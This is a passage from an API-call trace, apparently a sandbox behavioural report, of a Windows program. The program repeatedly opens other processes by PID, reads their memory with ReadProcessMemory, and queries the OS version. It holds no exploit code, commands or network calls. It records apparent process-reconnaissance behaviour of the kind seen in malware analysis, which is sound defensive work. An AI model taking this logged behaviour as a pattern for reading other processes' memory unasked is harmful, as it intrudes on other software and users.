dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.116] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.148] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x300 [0247.148] GetLastError () returned 0x0 [0247.148] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.148] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x37d018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.149] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.149] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x561cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.149] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5618f8, lpBuffer=0x67117c450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.150] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.151] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.151] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x37d020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.152] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.152] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0247.152] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0247.152] free (_Block=0x196ef0d31b0) [0247.153] CloseHandle (hObject=0x300) returned 1 [0247.154] _ui64tow_s (in: _Value=0xff8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0247.159] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4088") returned 4 [0247.160] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.160] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x300 [0247.188] GetLastError () returned 0x0 [0247.189] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.189] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2b5018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.189] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.189] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e1cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.189] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e18f8, lpBuffer=0x67117c450, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.191] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.192] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.192] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2b5020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.192] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.192] malloc (_Size=0x72) returned 0x196ef0d31b0 [0247.192] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0247.193] free (_Block=0x196ef0d31b0) [0247.194] CloseHandle (hObject=0x300) returned 1 [0247.194] _ui64tow_s (in: _Value=0x1004, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0247.198] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4100") returned 4 [0247.200] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.200] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.215] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x300 [0247.215] GetLastError () returned 0x0 [0247.226] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.226] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x37f018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.227] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.227] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x511cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.227] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5118f8, lpBuffer=0x67117c450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.228] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.229] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.230] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x37f020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.230] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5112e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.230] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0247.230] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0247.231] free (_Block=0x196ef0d31b0) [0247.233] CloseHandle (hObject=0x300) returned 1 [0247.234] _ui64tow_s (in: _Value=0x100c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0247.300] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4108") returned 4 [0247.302] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.302] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.318] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x300 [0247.318] GetLastError () returned 0x0 [0247.318] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.319] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.319] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.319] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x391d20, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.319] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3918f8, lpBuffer=0x67117c450, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.320] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.321] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.322] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.322] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.322] malloc (_Size=0x82) returned 0x196ef0d6ed0 [0247.322] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x391972, lpBuffer=0x196ef0d6ed0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6ed0*, lpNumberOfBytesRead=0x0) returned 1 [0247.323] free (_Block=0x196ef0d6ed0) [0247.323] CloseHandle (hObject=0x300) returned 1 [0247.324] _ui64tow_s (in: _Value=0x1018, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0247.341] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4120") returned 4 [0247.342] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.342] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.357] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x300 [0247.357] GetLastError () returned 0x0 [0247.358] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.358] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4aa018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.358] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.358] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x311d10, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.359] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3118f8, lpBuffer=0x67117c450, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.360] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.361] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.361] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4aa020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.361] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3112e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.361] malloc (_Size=0x80) returned 0x196ef0d6db0 [0247.361] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x311970, lpBuffer=0x196ef0d6db0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6db0*, lpNumberOfBytesRead=0x0) returned 1 [0247.362] free (_Block=0x196ef0d6db0) [0247.363] CloseHandle (hObject=0x300) returned 1 [0247.363] _ui64tow_s (in: _Value=0x1020, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0247.367] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4128") returned 4 [0247.368] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.368] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.385] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x300 [0247.385] GetLastError () returned 0x0 [0247.386] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.386] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x20c018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.386] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.386] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x441cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.387] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4418f8, lpBuffer=0x67117c450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.397] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.398] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.398] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x20c020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.399] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4412e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.399] malloc (_Size=0x66) returned 0x196ef0d0450 [0247.399] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x441956, lpBuffer=0x196ef0d0450, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0247.400] free (_Block=0x196ef0d0450) [0247.401] CloseHandle (hObject=0x300) returned 1 [0247.452] _ui64tow_s (in: _Value=0x1038, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0247.458] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4152") returned 4 [0247.461] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.461] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x300 [0247.478] GetLastError () returned 0x0 [0247.478] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.478] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x30f018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.479] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.479] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e1d20, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.479] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e18f8, lpBuffer=0x67117c450, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.480] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.482] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.482] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x30f020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.482] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.482] malloc (_Size=0x82) returned 0x196ef0d77d0 [0247.482] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e1972, lpBuffer=0x196ef0d77d0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d77d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.483] free (_Block=0x196ef0d77d0) [0247.484] CloseHandle (hObject=0x300) returned 1 [0247.485] _ui64tow_s (in: _Value=0x1040, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0247.489] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4160") returned 4 [0247.503] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.503] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x300 [0247.520] GetLastError () returned 0x0 [0247.521] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.521] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3da018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.521] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.521] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4c1cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.521] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4c18f8, lpBuffer=0x67117c450, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.523] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.524] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.524] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3da020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.524] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4c12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.524] malloc (_Size=0x5e) returned 0x196ef0d0370 [0247.525] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0247.525] free (_Block=0x196ef0d0370) [0247.526] CloseHandle (hObject=0x300) returned 1 [0247.527] _ui64tow_s (in: _Value=0x1050, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0247.531] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4176") returned 4 [0247.532] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.533] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: 